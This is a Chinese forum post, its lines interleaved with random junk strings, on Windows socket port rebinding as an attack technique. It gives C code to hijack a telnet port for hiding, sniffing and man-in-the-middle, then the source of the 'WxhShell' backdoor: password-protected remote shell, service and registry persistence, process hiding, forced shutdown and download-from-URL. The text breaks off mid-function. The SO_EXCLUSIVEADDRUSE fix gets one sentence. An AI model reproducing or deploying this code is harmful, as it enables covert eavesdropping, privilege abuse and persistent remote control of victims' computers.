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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ^"?a)KC  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); oOI0q_bf  
-kLBq :M  
  saddr.sin_family = AF_INET; C$+Q,guM  
0O`Rh"O  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); yVK ; "  
c{y'&3\  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); |f$+|9Q?  
a}NB6E)-  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 IL.bwt pQD  
# 2^H{7  
  这意味着什么?意味着可以进行如下的攻击: #`|Nm3b  
V9"R8*@-  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ig.Z,R3@r  
_%2ukuJ `  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) &57~i=A 3  
uVU)LOx  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 7MrHu2rZ=  
RNB&!NC  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  }9\6!GY0  
61kSCu  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 BI)C\D3[  
C;JW \J~W  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 #btf|\D  
%4!^AA%  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #*CMf.OCh  
^ei[1 #  
  #include +\_\53  
  #include BE@(| U  
  #include {z 5YJ*C  
  #include    kK4 a;j.#  
  DWORD WINAPI ClientThread(LPVOID lpParam);   >Df; 1:U  
  int main() ]m 3cm  
  { hIqUidJod  
  WORD wVersionRequested; 18F}3t??  
  DWORD ret; q9ra  
  WSADATA wsaData; 5"57F88Y1  
  BOOL val; =bD.5,F)  
  SOCKADDR_IN saddr; ya~;Of5  
  SOCKADDR_IN scaddr; nsi? .c&0!  
  int err; y-.{){uaD  
  SOCKET s; \v-I<"::  
  SOCKET sc; au50%sA~  
  int caddsize; U'" #jT  
  HANDLE mt; G5U?]& I8  
  DWORD tid;   BXdk0  
  wVersionRequested = MAKEWORD( 2, 2 ); `W)?d I?#M  
  err = WSAStartup( wVersionRequested, &wsaData ); ~Oq _lM  
  if ( err != 0 ) { 7M~/ q.  
  printf("error!WSAStartup failed!\n"); ?C fQwY#N  
  return -1; }W 5ks-L6  
  } 71[?AmxV  
  saddr.sin_family = AF_INET; ~3gazTe9  
   l@GJcCufE  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 hE=xS:6  
6ZHeAb]"  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3^wHL:u  
  saddr.sin_port = htons(23); V^Z5i]zT  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rM= :{   
  { Lwi"K8.u  
  printf("error!socket failed!\n"); ^TZmc{i  
  return -1; qQ)1+^  
  } -|}?+W  
  val = TRUE; xf;>o$oN0P  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 UJqh~s  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) IowXVdm@6  
  { 084Us s  
  printf("error!setsockopt failed!\n"); T<Xw[PEnP  
  return -1; u4 es8"  
  } oCkG  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ].J;8}  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Am@Ta "2  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ZlC+DXg#S  
Hm'fK$y(  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) b3>zdS]Q  
  { ]\|2=  
  ret=GetLastError(); iupkb  
  printf("error!bind failed!\n"); \`~YW<D  
  return -1; ]3,9 ."^  
  } {~9HJDcM  
  listen(s,2); (OES~G  
  while(1) [8Y7Q5Had  
  { g9 ^\Q Yh!  
  caddsize = sizeof(scaddr); lFtEQ '}  
  //接受连接请求 <FBH;}]  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Fl($0}ER  
  if(sc!=INVALID_SOCKET) Iv 3O8 GU  
  { QpQ2hNf  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ~xY"P)(x;  
  if(mt==NULL) ZJWpb  
  { &'k(v(>n,  
  printf("Thread Creat Failed!\n"); B6&[_cht  
  break; ~x9J&*zxM  
  } bl>W i@GL  
  } TE o  
  CloseHandle(mt); E-Xz  
  } 9[VYd '  
  closesocket(s); ;0m J4G  
  WSACleanup(); iP9]b&  
  return 0; XYP RMa?  
  }   q j21#q .  
  DWORD WINAPI ClientThread(LPVOID lpParam) `. JW_F)1  
  { }a!|n4|`  
  SOCKET ss = (SOCKET)lpParam; H?;+C/-K`_  
  SOCKET sc; dpS@:  
  unsigned char buf[4096]; >H;m[  
  SOCKADDR_IN saddr; tx[;& ;  
  long num; 7Dssr [  
  DWORD val; Eu&$Rq}  
  DWORD ret; tgCp2 `n  
  //如果是隐藏端口应用的话,可以在此处加一些判断 U1/I( w  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   p2l@6\m\  
  saddr.sin_family = AF_INET; Ih5Y7<8b~  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [Uq`B &F:  
  saddr.sin_port = htons(23); =/'>.p3/S  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <7ANXHuSW  
  { ` ~m/  
  printf("error!socket failed!\n"); lU Zj  
  return -1; [g@qZ5I.  
  } N e{=KdzT  
  val = 100; Gev\bQa  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) S_Nm?;P  
  { SbX^DAlB1  
  ret = GetLastError(); 'q;MhnU+  
  return -1; f eB ?  
  } 3C!|!N1Hn  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) mIG>`7`7N  
  { Wx3DWY;  
  ret = GetLastError(); r]xN&Ne5Q  
  return -1; N9d^;6;i  
  } V+1c<LwT  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) r0k :RJP  
  { x1wD`r  
  printf("error!socket connect failed!\n"); q7aqbkwz}  
  closesocket(sc); WLU_t65  
  closesocket(ss); *^]  
  return -1; ~2hzyEh  
  } y'2w*?  
  while(1) "'``O~08/  
  { lrHN6:x(Y4  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 GNmP_N  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 UK^w;w2F  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 1S(oi  
  num = recv(ss,buf,4096,0); BR@gJ(2  
  if(num>0) LC=M{\  
  send(sc,buf,num,0); H&*&n}vh5y  
  else if(num==0) I&15[:b=-  
  break; }vB{6E+h/w  
  num = recv(sc,buf,4096,0); lgVT~v{U`n  
  if(num>0) }Tm+gJA  
  send(ss,buf,num,0); +K'YVB U}  
  else if(num==0) r`FTiPD.C  
  break; ?$A)lWk(  
  } S`mB1(h  
  closesocket(ss); 7`L]aRS[  
  closesocket(sc); d <ES  
  return 0 ; <<qzZ+u  
  } [8tpU&J  
>(n /  
R3_;!/1  
========================================================== |]q{ qsy  
V3*@n*"N;  
下边附上一个代码,,WXhSHELL GfP'  
?6vGE~ MuR  
========================================================== 7!`1K_v6  
Y=sv   
#include "stdafx.h" F\;l)  
T<nK/lp1t  
#include <stdio.h> Z[z" v  
#include <string.h> kd&~_=Q  
#include <windows.h> #]i^L;u1A  
#include <winsock2.h> ''9K(p6  
#include <winsvc.h> \Qnr0t@0  
#include <urlmon.h> 2|exY>`w  
mBrZ{hqS  
#pragma comment (lib, "Ws2_32.lib") h8M}}   
#pragma comment (lib, "urlmon.lib") /;q 3Q#  
!F6rcDKI  
#define MAX_USER   100 // 最大客户端连接数 m>[G-~0?kI  
#define BUF_SOCK   200 // sock buffer JT6Be8   
#define KEY_BUFF   255 // 输入 buffer `3K."/N6c  
I YptNR  
#define REBOOT     0   // 重启 UZiL NKc  
#define SHUTDOWN   1   // 关机 kW%wt1",  
qS}{O0  
#define DEF_PORT   5000 // 监听端口 1$ }Tn  
]x& R=)P  
#define REG_LEN     16   // 注册表键长度 \mb@-kM)  
#define SVC_LEN     80   // NT服务名长度 ~QE?GL   
{Ho_U&<  
// 从dll定义API qixnaiZ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _ !"[Zr  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); buKkm$@w  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); A;/,</  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); H,/ =<Th;i  
rWM5&M  
// wxhshell配置信息 *6_>/!ywI  
struct WSCFG { %ID48_>*  
  int ws_port;         // 监听端口 )99^58my  
  char ws_passstr[REG_LEN]; // 口令 's"aPqF?  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0 >(hiT y<  
  char ws_regname[REG_LEN]; // 注册表键名 W1M Bk[:Q  
  char ws_svcname[REG_LEN]; // 服务名 4ee-tKH  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :[_k .1-+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 f0g_Gn $  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <[gN4x>'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8&x&Ou$("V  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /^~)iTwH  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 - t 4F  
\dB z-H'@  
}; ij_5=4aZ-  
,*L3  
// default Wxhshell configuration b83m'`vRM  
struct WSCFG wscfg={DEF_PORT, h}m9L!+n8  
    "xuhuanlingzhe", 4 ;6,h6a  
    1, ?v+el,  
    "Wxhshell", s/;S2l$`  
    "Wxhshell", #cJ1Jj $  
            "WxhShell Service", ~-yq,x  
    "Wrsky Windows CmdShell Service", z^KBV ^n  
    "Please Input Your Password: ", FVOPC:}bj  
  1, aNICSxDN  
  "http://www.wrsky.com/wxhshell.exe", 6_w~#86=  
  "Wxhshell.exe" 7}mr C@[i  
    }; uXGAcUx(  
8RZqoQDH  
// 消息定义模块 &$pQ Jf  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ni;jMc  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /5>A 2y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \3 rgwbF  
char *msg_ws_ext="\n\rExit."; T%TO?[cN  
char *msg_ws_end="\n\rQuit."; 8X\":l:  
char *msg_ws_boot="\n\rReboot..."; 0w2<2grQ  
char *msg_ws_poff="\n\rShutdown..."; H7{kl  
char *msg_ws_down="\n\rSave to "; )5diX + k  
IS{>(XT{  
char *msg_ws_err="\n\rErr!"; *MCkezW7{  
char *msg_ws_ok="\n\rOK!"; tg2+Z\0)4g  
kf' 4C "}  
char ExeFile[MAX_PATH]; 0}>p)k3&A  
int nUser = 0; !|,djo!N  
HANDLE handles[MAX_USER]; *u>[  
int OsIsNt; <{HV|B7  
wX@g >(  
SERVICE_STATUS       serviceStatus; c5eimA%`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Fe 7 8YDx?  
uH} }z!  
// 函数声明 B1U7z1<  
int Install(void); .T~Oc'wGo  
int Uninstall(void); $C{-gx+:  
int DownloadFile(char *sURL, SOCKET wsh); ]PH'G>x  
int Boot(int flag); =^ x1: Ak  
void HideProc(void); %$R]NL|  
int GetOsVer(void); Uo:=-NNI  
int Wxhshell(SOCKET wsl); ukee.:{  
void TalkWithClient(void *cs); -zm-|6[Wi  
int CmdShell(SOCKET sock); #.@D}7y5  
int StartFromService(void); NF*Z<$'%  
int StartWxhshell(LPSTR lpCmdLine); .Ax]SNZ+:A  
FCt %of#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); EHq?yj;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |s !7U  
W_]onq 6  
// 数据结构和表定义 [Al} GM  
SERVICE_TABLE_ENTRY DispatchTable[] = {k<mN Y  
{ > a8'MK  
{wscfg.ws_svcname, NTServiceMain}, A9y3B^\*  
{NULL, NULL} s";9G^:  
}; $r(9'm}W  
~Y7:08  
// 自我安装 ~2 J!I^ J  
int Install(void) ]n4G]ybK%  
{ *b(nX,e  
  char svExeFile[MAX_PATH]; Hh qNp U  
  HKEY key; c38ENf  
  strcpy(svExeFile,ExeFile); cs Gd}2VE  
yt`K^07@  
// 如果是win9x系统,修改注册表设为自启动 $?|$uMIafp  
if(!OsIsNt) { tNDv[IF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { srIt_Wq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^#z*   
  RegCloseKey(key); e6'y S81  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -h&KC{Xab  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rhwjsC6  
  RegCloseKey(key); GaOM|F'>  
  return 0; 843O}v'  
    } P?`a{sl.  
  } 'iEu1! t\0  
} f] kG%JEK  
else { \hqjk:o  
pb|,rLNZ  
// 如果是NT以上系统,安装为系统服务 /E5>cqX4A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6Iv &c2  
if (schSCManager!=0) ZcrFzi  
{ 3m/XT"D  
  SC_HANDLE schService = CreateService /,^AG2]( f  
  ( z7]GZF  
  schSCManager, /baSAoh/e  
  wscfg.ws_svcname, = _/XFN  
  wscfg.ws_svcdisp, /G!M\teeF  
  SERVICE_ALL_ACCESS, 39Tlt~Psz  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , B5/"2i  
  SERVICE_AUTO_START, %_ Vj'z~T  
  SERVICE_ERROR_NORMAL, 0-I L@Di`F  
  svExeFile, D'\gy$9m1  
  NULL, ]9$^=z%SE  
  NULL, o+FDkqEN  
  NULL, 6fw2 ;$x"  
  NULL, F+m;y  
  NULL -h,?_d>  
  ); e6I7N?j  
  if (schService!=0) !TPKD  
  { ee .,D  
  CloseServiceHandle(schService); !,cfA';S  
  CloseServiceHandle(schSCManager); LCemM;o  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); L-Pq/x2r  
  strcat(svExeFile,wscfg.ws_svcname); _ v3VUm#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Hus.Jfam  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); AP/#?   
  RegCloseKey(key); ;a~ e  
  return 0; Na$[nv8qh  
    } \~I>@SG2W+  
  } )cBO_  
  CloseServiceHandle(schSCManager); QJtO~~-  
} AkVgFQg" n  
} klx28/]  
Isg\ fSK<j  
return 1; Apc!!*7  
} 9qX)FB@'i;  
#9p|aS\  
// 自我卸载 VqnM>||  
int Uninstall(void) S0!w]Ku  
{ kJ.0|l0  
  HKEY key; .._UI2MA  
@ 3,:G$,  
if(!OsIsNt) { Oc%W_Gb7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b-HELS`nX  
  RegDeleteValue(key,wscfg.ws_regname); }sW%i#CV  
  RegCloseKey(key); WSOz^]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O*ER3  
  RegDeleteValue(key,wscfg.ws_regname); ,d$D0w  
  RegCloseKey(key); f}w_]l#[G  
  return 0; o4nDjFhh  
  } Tx|y!uHh  
} N%!{n7`N:  
} p'\zL:3  
else { kxt/I<cs  
k[{ ~ eN:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); U}DLzn|w  
if (schSCManager!=0) >1RL5_US  
{ *g[MGyF "  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); v:]z-zU  
  if (schService!=0) s%^@@Dk  
  { 3>mAZZL5[  
  if(DeleteService(schService)!=0) { Y]bS=*q  
  CloseServiceHandle(schService); . :~E.b  
  CloseServiceHandle(schSCManager); |G/W S0  
  return 0; -9(pOwN |m  
  } }mpFo 2  
  CloseServiceHandle(schService); $0|`h)&  
  } 61](a;Di  
  CloseServiceHandle(schSCManager); oqbhb1D1<  
} }!V-FAL  
} DGNn#DP  
vH/RP  
return 1; HJJ; gTj  
} q1Mt5O}  
5}Z>N,4  
// 从指定url下载文件 fNz(z\  
int DownloadFile(char *sURL, SOCKET wsh) L}rYh`bUP[  
{ @D>qo=KPM  
  HRESULT hr; /h8100  
char seps[]= "/"; 934@Z(aUH  
char *token; [ps4i_  
char *file; d'iSvd.  
char myURL[MAX_PATH]; '3?-o|v@D  
char myFILE[MAX_PATH]; O_L>We@3E  
pfHfw,[  
strcpy(myURL,sURL); vIf-TQw  
  token=strtok(myURL,seps); AG><5 }  
  while(token!=NULL) \,'4eV  
  { w|abaMam  
    file=token; !*S,S{T8  
  token=strtok(NULL,seps); ZsSW{ffZ77  
  } ~RLWr.pK  
&OA6Zw/A  
GetCurrentDirectory(MAX_PATH,myFILE); b[<L l%K  
strcat(myFILE, "\\"); udmLHc  
strcat(myFILE, file); 2MmHO2  
  send(wsh,myFILE,strlen(myFILE),0); $9P=  
send(wsh,"...",3,0); Swh\^/B8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #8zC/u\`=  
  if(hr==S_OK) "Mz#1Laby`  
return 0; L/In~' *-  
else +s^nT{B@\  
return 1; T}/|nOu 5  
;A4j_ 8\[  
} n.t5:SW  
TU': Rt  
// 系统电源模块 ',/#|  
int Boot(int flag) $@O?  
{ %!eRR  
  HANDLE hToken; fef y`J  
  TOKEN_PRIVILEGES tkp; Bh'!aipk  
r+h%a~A#>  
  if(OsIsNt) { iJj!-a:z.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); pU'${Z~b  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }zxf~4 1  
    tkp.PrivilegeCount = 1; P (DEf(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; hnH<m7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0U:X[2|)  
if(flag==REBOOT) { BMI`YGjY1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ycSGv4 )  
  return 0; TspX7<6r  
} E)`0(Z:E  
else { VrLp5?Bh  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) LT>_Y`5>  
  return 0; QmSMDWkh  
} \4^zY'  
  } mZc;n.$U  
  else { .dVV# H  
if(flag==REBOOT) { m mZP;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~(-1mB,  
  return 0; &@'%0s9g  
} $MGKGWx@E  
else { ](v,2(}=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) pUS:HJk|  
  return 0; U<;{_!]  
} *aC[Tv[-P  
} F_g(}wE# q  
uD?RL~M  
return 1; EpKZ.lCU  
} pdER#7Tq  
#pgD-0_  
// win9x进程隐藏模块 0Ze&GK'Hf  
void HideProc(void) ] Ok &%-  
{ 04&S.#+(  
XR9kxTuk  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); gK;dfrU.8Y  
  if ( hKernel != NULL ) y9]7LETv\M  
  { -^yc<%U  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); AzF*4x  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w'A*EWO  
    FreeLibrary(hKernel); &=*1[j\  
  } lhJY]tQt/  
f4*(rX  
return; Lg(G&ljE@k  
} A^+kA)8  
Ix,b-C~  
// 获取操作系统版本 88 X]Uw(+  
int GetOsVer(void) xzA!,75@U  
{ Ye4 &4t  
  OSVERSIONINFO winfo; @ U"Ib  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Q?LzL(OioN  
  GetVersionEx(&winfo); aM1WC 'c&)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^Ss <<  
  return 1; +PLJ  
  else ^_3 $f  
  return 0; %%n&z6w-  
} Iurz?dt4w  
.t>SbGC  
// 客户端句柄模块 p=eSJ*  
int Wxhshell(SOCKET wsl) S{bp'9]$y  
{ ' Kkp!eZQ~  
  SOCKET wsh; ~H?v L c;>  
  struct sockaddr_in client; H(- -hG5}  
  DWORD myID; /Us+>vg!  
?P9VdS1-  
  while(nUser<MAX_USER) QD^=;!  
{ K iXD1Zpz  
  int nSize=sizeof(client); d^$cx(2$D  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {Fyw<0 [@  
  if(wsh==INVALID_SOCKET) return 1; oa7 N6  
J32{#\By  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }3XjP55  
if(handles[nUser]==0) ^i WGGnGS  
  closesocket(wsh); v6aMYmenBH  
else gMq;  
  nUser++; ^tm2Duv  
  } +JD^5J,-NJ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); n]5Pfg|a  
c<cYX;O  
  return 0; cw~GH  
} QJkiu8r  
Ebi~gGo  
// 关闭 socket Ly, ];  
void CloseIt(SOCKET wsh) 6OPNP0@r  
{ T?u*ey~Tv  
closesocket(wsh); e 1bV&  
nUser--; 4T&Jlu?:  
ExitThread(0); -ECnX/ "  
} >/@Q7V99{  
+&_n[;   
// 客户端请求句柄 *x 2u  
void TalkWithClient(void *cs) }!s$ / Kn  
{ Xe/7rhov  
Mwj7*pxUh  
  SOCKET wsh=(SOCKET)cs; Wk-. dJ  
  char pwd[SVC_LEN]; 7#*O|t/'  
  char cmd[KEY_BUFF]; =PLy^%  
char chr[1]; iHo0:J~  
int i,j; ]Qx-f* D6  
-M[BC~!0;  
  while (nUser < MAX_USER) { 4HXNu,T'  
V-i:t,*lk(  
if(wscfg.ws_passstr) { 3i}$ ~rz]U  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L#IY6t  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tjm@+xs  
  //ZeroMemory(pwd,KEY_BUFF); SS,'mv  
      i=0; E@="n<uS  
  while(i<SVC_LEN) { i2Gh!5]f  
6XeqK*r*  
  // 设置超时 *O Kve  
  fd_set FdRead; IifH=%2Y  
  struct timeval TimeOut; n6INI~,  
  FD_ZERO(&FdRead); QO,ge<N+N  
  FD_SET(wsh,&FdRead); +n8,=}  
  TimeOut.tv_sec=8; iF+50d  
  TimeOut.tv_usec=0; jRjQDK_"ka  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); E|B1h!!\c  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :4238J8  
>LR+dShG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Dw2$#d  
  pwd=chr[0]; FCYZ9L5uF  
  if(chr[0]==0xd || chr[0]==0xa) { b@[5xv\J  
  pwd=0; ,rQPs  
  break; !r0 z3^*N  
  } oX1{~lDJl  
  i++; *icxK  
    } X_I.f6v{  
MXpj_+@  
  // 如果是非法用户,关闭 socket :cTwp K  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =CO#Q$  
} zd [cp@  
;,LlOR  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *W<g%j-a  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?Wp{tB9N0  
8c'E  
while(1) { /F @a@m|  
j6$_U@)%O  
  ZeroMemory(cmd,KEY_BUFF); UbV} !  
T k>N4yq  
      // 自动支持客户端 telnet标准   ~ +z'pK~c  
  j=0; %(wa~:m+S-  
  while(j<KEY_BUFF) { C{):jH,Rf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &+t,fwlM  
  cmd[j]=chr[0]; "Mmvf'N  
  if(chr[0]==0xa || chr[0]==0xd) { l4Y}<j\;  
  cmd[j]=0; <%rG*vzi  
  break; yq>3IS4O  
  } A@"CrVE  
  j++; |+i?FYA\  
    } @7';bfsix  
n.Q?@\}2  
  // 下载文件 jW+L0RkX  
  if(strstr(cmd,"http://")) { a|@^ N  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); yf7p0;$?  
  if(DownloadFile(cmd,wsh)) &wZ:$lK#o  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); vg1p{^N !  
  else t=ry\h{Pc  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -3c?Yaf"  
  } m:~s6c6H  
  else { &sQtS  
rm4j8~Ef  
    switch(cmd[0]) { 8ESBui3;  
  R('44v5JQp  
  // 帮助 IXf@YV  
  case '?': { =`rESb[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); kqA`d  
    break; .yF7{/  
  } 4>Q6!"  
  // 安装 xFS`#1  
  case 'i': { :U<`iJwY  
    if(Install()) h^bbU.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }o? @  
    else ' 7>V4\"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;^FV  
    break; *Oo2rk nQ  
    }  $3%EKi  
  // 卸载 810u +%fu  
  case 'r': { r!etj3  
    if(Uninstall()) o% !a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dd>stp   
    else (Y!@,rKd   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \ey3i((L  
    break; '8wA+N6Zr7  
    } [*#ms=Zdc  
  // 显示 wxhshell 所在路径 dH zo_VV  
  case 'p': { >e"CpbZ'  
    char svExeFile[MAX_PATH]; kL,AY-Iu{@  
    strcpy(svExeFile,"\n\r"); y%\kgWV  
      strcat(svExeFile,ExeFile); 0\Qqv7>  
        send(wsh,svExeFile,strlen(svExeFile),0); xO6)lVd  
    break; O%y.  
    } a4L8MgF&$-  
  // 重启 W[: n*h  
  case 'b': {  -}{c;pT  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); BD9W-mF  
    if(Boot(REBOOT)) 4r5?C;g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O[;>Y'zqC%  
    else { z'MOuz~Y  
    closesocket(wsh); Y|g8xkI}XB  
    ExitThread(0); vWcU+GBZI  
    } -Yy,L%E]F:  
    break; Lt.a@\J'_  
    }  =h\,-8  
  // 关机 \;}F6g  
  case 'd': { u)M dFz  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :e`;["(,  
    if(Boot(SHUTDOWN)) uMtq4.  
